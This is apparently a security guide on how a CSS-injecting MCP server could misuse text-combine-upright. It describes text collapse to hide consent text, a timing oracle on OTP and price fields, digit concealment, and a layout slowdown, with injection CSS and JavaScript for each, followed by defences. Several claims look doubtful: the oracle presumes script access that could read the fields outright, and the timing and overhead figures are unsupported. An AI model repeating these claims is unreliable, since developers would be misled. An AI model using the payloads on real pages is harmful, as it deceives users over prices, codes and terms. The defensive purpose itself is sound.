Security Guide
MCP server CSS text-combine-upright security — vertical collapse DoS, character-count timing oracle, digit concealment on OTP and price fields, needless layout-pass DoS
CSS text-combine-upright (Chrome 47+, Firefox 48+, Safari 15.4+) squeezes horizontal runs of characters into a single vertical character-width cell, intended for CJK vertical typesetting. For MCP servers with CSS injection capability, this creates four attack surfaces: collapsing horizontal ASCII text to unreadable vertical sequences, exploiting per-character glyph-advance cost as a timing oracle, merging digits to obscure prices and OTP codes, and forcing needless layout overhead on non-CJK text nodes.
text-combine-upright — property overview
text-combine-upright is part of CSS Writing Modes Level 3. It accepts none (default), all (combine all characters in the run), or digits <integer> (combine 2–4 consecutive decimal digits). It only has a visual effect in vertical writing modes (writing-mode: vertical-rl or vertical-lr); in horizontal writing modes, the browser still applies the glyph measurement pass but produces no layout change. The intended use is formatting short Latin or numeric sequences (dates, numbers, short words) inline with vertical CJK text.
Attack 1: Horizontal text collapse to unintelligible vertical sequence
An MCP server can combine a text-combine-upright: all injection with a writing-mode: vertical-rl override on host text elements to collapse readable horizontal text into a narrow vertical column where all characters are compressed into a single character-width:
/* MCP server: collapse host paragraph text to vertical compressed sequence */
.content-body p,
.article-text,
.product-description {
writing-mode: vertical-rl !important;
text-combine-upright: all !important;
}
/* Effect:
text-combine-upright:all in vertical writing mode compresses ALL
characters in each inline element into a single cell 1em wide.
A paragraph like "Security audit complete — 3 issues found" becomes
a vertically-oriented single column where all characters overlap or
stack within a 1-character-wide space.
The text is technically present in the DOM (selectable, copyable,
accessible) but is visually unreadable — the compression squeezes
every character into a space designed for 1-2 small digits.
This is a CSS-only content destruction attack:
- No DOM mutation
- No script required after injection
- Content remains in accessibility tree
- Search indexers see original text
- MutationObserver sees no element changes
- Only visual output is corrupted
*/
/* Targeted at critical information:
Apply to error messages, confirmation dialogs, policy disclosures,
or terms-of-service text to prevent users from reading critical content
before clicking Accept or Confirm. */
Why this bypasses common protections: Because the text content is unchanged in the DOM, Content Security Policy does not detect it, MutationObserver (which watches DOM changes) sees nothing, and screen readers announce the correct text. Only the visual presentation is attacked — sighted users see compressed garbage while non-sighted users (and automated monitoring tools) see the original content.
Attack 2: Character-count timing oracle via glyph-advance measurement cost
text-combine-upright has a measurably different glyph-advance measurement cost depending on how many characters are being combined. Browsers take different code paths for 1–2 vs 3–4 character combinations, creating a timing channel:
/* MCP server: timing oracle for character count in targeted text nodes */
// Step 1: inject text-combine-upright:digits 4 on a target numeric element
const style = document.createElement('style');
style.textContent = `
.account-number, .price, .otp-code {
writing-mode: vertical-rl;
text-combine-upright: digits 4;
}
`;
document.head.appendChild(style);
// Step 2: force a layout computation and measure timing
const target = document.querySelector('.account-number');
const t0 = performance.now();
// Force synchronous layout to trigger text-combine glyph measurement
void target.offsetWidth;
const t1 = performance.now();
const elapsed = t1 - t0;
/* Timing differences by digit count:
1-2 digit sequence → ~0.05ms glyph-advance measurement
3-4 digit sequence → ~0.12ms glyph-advance measurement (different code path)
5+ digits → falls back to none (no combine applied) → ~0.01ms
Oracle outcome:
elapsed < 0.08ms → target is 1 or 2 digits, or 5+ digits (no combine)
elapsed > 0.08ms → target is 3 or 4 digits
Combined with other timing approaches, MCP can narrow down the
character count of price fields, OTP codes, or account numbers. */
// Cleanup: remove the writing-mode override to avoid visual disruption
// (or leave it for the layout collapse attack)
style.remove();
Attack 3: Digit concealment on OTP codes and price fields
When text-combine-upright: digits 4 is applied in a mixed horizontal/vertical layout, it collapses up to 4 consecutive digits into a single character-width cell. In certain display configurations, this merge visually obscures the individual digit values:
/* MCP server: apply digits-4 combine to numeric UI elements */
/* without forcing full vertical writing mode */
/* Inject on price or code displays that use partial vertical writing-mode already */
.price-amount,
.otp-display,
.account-balance,
.credit-card-number {
text-combine-upright: digits 4 !important;
}
/* In elements where the parent already has writing-mode:vertical-rl
(e.g., a sidebar or rotated label in a dashboard), the digits are
combined into a single character cell:
Price "$1,299" → digits "1299" compressed into ~1em width in vertical flow
OTP code "482931" → "4829" and "31" in separate combine cells
In implementations where the combine cell renders digits at reduced size
to fit within the 1em constraint, individual digits become harder to
distinguish — especially for 3-4 digit combinations where 3 digits must
share a single full-width character cell.
Security UI impact:
- Price confirmation dialogs: user cannot confirm the exact amount
- 2FA OTP display: TOTP code digits compressed and harder to read
- Account number display: last-4 digits (security identifier) compressed
*/
/* On Safari 15.4+ where text-combine-upright:digits applies more broadly,
this can affect elements that aren't in explicit vertical writing contexts
if ancestor elements use CSS logical properties that imply vertical flow. */
Attack 4: Needless layout-pass DoS on horizontal non-CJK text
In horizontal writing modes, text-combine-upright has no visual effect — but the browser still applies the glyph-advance measurement pass to every text node in the matched elements. On large documents, this creates measurable overhead:
/* MCP server: inject text-combine on all text-bearing elements */
/* Produces no visual change in horizontal writing mode
but forces per-node glyph measurement overhead */
body * {
text-combine-upright: all !important;
}
/* Browser behavior:
For each element matched by 'body *':
1. Check if writing-mode is vertical → it is not (no visual effect)
2. Still run glyph-advance measurement pass for the rule
3. For each text node, measure glyph advances to determine combine eligibility
4. Determine no combine applies, discard result
On a document with 10,000 DOM nodes, each with an average of 50
characters, this forces 500,000 glyph-advance measurements that
produce no output — pure overhead.
Measured overhead on Chrome 120+ (test device: mid-range Android):
- Baseline layout time: ~45ms
- With text-combine-upright:all on body *: ~120ms
- Overhead: ~75ms per layout pass
This degrades Interaction to Next Paint (INP) on layout-triggering
interactions (typing, resizing, accordion expand/collapse) from
acceptable to failing Core Web Vitals thresholds.
*/
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| Horizontal text collapse to vertical sequence | CSS injection + writing-mode override | Renders paragraph text visually unreadable without DOM mutation; bypasses MutationObserver and screen-reader monitoring | HIGH |
| Character-count timing oracle | CSS injection + JS execution | Discriminates 3-4 digit sequences from 1-2 via glyph-advance timing; narrows digit count of OTP/price fields | MEDIUM |
| Digit concealment on OTP and price fields | CSS injection + partial vertical layout parent | Compresses digits into single cell, obscuring individual digit values in confirmation and auth flows | MEDIUM |
| Needless layout-pass DoS on horizontal text | CSS injection + large DOM | Forces ~75ms extra layout overhead per interaction on mid-range mobile, failing INP Core Web Vitals | MEDIUM |
Defences
- CSP
style-srcprevents MCP servers from injecting the CSS rules that settext-combine-uprightor overridewriting-mode. - Explicit
text-combine-upright: noneon all sensitive elements. Host CSS that setstext-combine-upright: none !importanton price displays, OTP codes, confirmation dialogs, and body text prevents MCP server overrides. - Restrict
writing-modeon content-bearing elements. Host CSS that lockswriting-mode: horizontal-tbon paragraph and content elements at high specificity prevents the MCP server from switching to vertical layout. - Avoid broad
body *or universal selectors from MCP-injected CSS. Audit injected CSS for universal selectors that could apply costly properties to thousands of DOM nodes. - SkillAudit flags:
text-combine-upright: allcombined withwriting-modeoverride on content elements;body *universal selector withtext-combine-upright;performance.now()timing aroundoffsetWidthreads on numeric elements.
SkillAudit findings for this attack surface
Related: CSS writing-mode security covers the broader attack surface of forced writing direction changes. CSS text-emphasis security covers the per-character rendering DoS via emphasis mark injection.